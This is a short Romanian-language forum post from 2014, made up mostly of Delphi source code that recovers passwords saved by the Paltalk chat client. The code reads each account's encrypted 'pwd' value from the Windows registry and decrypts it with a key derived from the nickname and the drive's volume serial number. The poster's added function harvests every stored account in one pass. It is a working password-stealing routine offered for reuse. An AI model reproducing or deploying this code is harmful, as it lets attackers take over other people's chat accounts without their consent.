Cartman. Posted June 27, 2014 Report Posted June 27, 2014 Aici se afla o functie si Cum sa decryptezi Paltalk Passwords.. Function Decrypt(sNickName, sHwID, sCrypted: String): String;varaOutPut : array of string;iLen, i : Integer;sTemp, sFinal : String;const iOffset = 122;begin Result:= ''; iLen:= length(sCrypted); If (iLen mod 4) <> 0 then begin Result:= 'incorrect encrypted password'; exit; end; for i:= 0 to 7 do begin sTemp:= sTemp + sNickName[(i mod length(sNickName))+ 1] + sHwID[(i mod length(sHwID))+ 1] end; Setlength(aOutPut, (iLen div 4)); If Length(sHwID) >= Length(sNickName) then sTemp:= sHwID[Length(sHwID)] + sTemp else sTemp:= sNickName[Length(sNickName)] + sTemp; for i:= 0 to pred(Length(aOutPut)) do begin aOutPut[i]:= Copy(sCrypted,1,3); sFinal:= sFinal + Chr((strtoint(aOutPut[i]) - ord(sTemp[i+1])) - i - iOffset); Delete(sCrypted,1,4); end; aOutPut:= Nil; Result:= sFinal;end;function FindNickPass(const sNickname: String): String;begin with TRegistry.Create do try RootKey := HKEY_CURRENT_USER; if OpenKey('\Software\Paltalk\' + sNickname, False) then begin Result:= (ReadString('pwd')); CloseKey; end; finally Free; end;end;function FindVolumeSerial(const Drive : PChar) : string;var VolumeSerialNumber : DWORD; MaximumComponentLength : DWORD; FileSystemFlags : DWORD;begin Result:=''; GetVolumeInformation(Drive, nil, 0, @volumeSerialNumber, MaximumComponentLength, FileSystemFlags, nil, 0) ; Result := Format('%8.8X',[VolumeSerialNumber]);end;Am adaugat asta//by cart Function GetPaltalkPW():TStringList;var Reg:TRegistry; SL:TStringList; i:Integer; Encrypted:String;beginReg:=TRegistry.Create;SL:=TStringList.Create;Result:=TstringList.Create;Reg.RootKey:=HKEY_CURRENT_USER;if Reg.OpenKey('\Software\Paltalk\',false) then begin Reg.GetKeyNames(SL); if SL.Count>0 then begin for i:=0 To SL.Count-1 do begin Result.Add(SL.Strings[i]); Reg.CloseKey; Reg.OpenKey('\Software\Paltalk\',false); if Reg.OpenKey(SL.Strings[i],false) then begin Encrypted:=Reg.ReadString('pwd'); if Encrypted<>'' then Result.Add(Decrypt(SL.Strings[i], trim(FindVolumeSerial(PAnsiChar(getdrive()))),FindNickPass(SL.Strings[i]))) else Result.Add('Registry Fail'); end; end; end else Result.Add('Paltalk Accounts error!');end else Result.Add('Paltalk not found!');SL.Free;Reg.Free;end;Si asta //by cart function getdrive(): string; var InstallerAppDir:string; begin with TRegistry.Create do try RootKey := HKEY_CURRENT_USER; if OpenKey('\Software\Paltalk\', False) then begin InstallerAppDir:= (ReadString('InstallerAppDir')); CloseKey; end; finally Free; end; Result:=Copy(InstallerAppDir,0,3); end; Quote